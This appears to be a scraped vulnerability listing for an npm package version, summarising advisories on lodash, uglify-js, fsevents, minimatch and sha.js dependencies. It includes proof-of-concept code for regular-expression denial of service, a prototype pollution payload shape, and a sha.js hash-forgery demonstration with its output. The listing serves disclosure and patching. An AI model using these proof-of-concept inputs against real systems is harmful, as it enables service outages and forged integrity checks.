All the vulnerabilities related to the version 0.4.1 of the package
Prototype Pollution in lodash
Versions of lodash
before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep
allows a malicious user to modify the prototype of Object
via {constructor: {prototype: {...}}}
causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.12 or later.
Prototype Pollution in lodash
Versions of lodash
before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object
via __proto__
causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.5 or later.
Prototype Pollution in lodash
Versions of lodash
before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object
via {constructor: {prototype: {...}}}
causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.11 or later.
Command Injection in lodash
lodash
versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Code injection in fsevents
fsevents before 1.2.11 depends on the https://fsevents-binaries.s3-us-west-2.amazonaws.com URL, which might allow an adversary to execute arbitrary code if any JavaScript project (that depends on fsevents) distributes code that was obtained from that URL at a time when it was controlled by an adversary.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}
Command Injection in lodash
lodash
versions prior to 4.17.21 are vulnerable to Command Injection via the template function.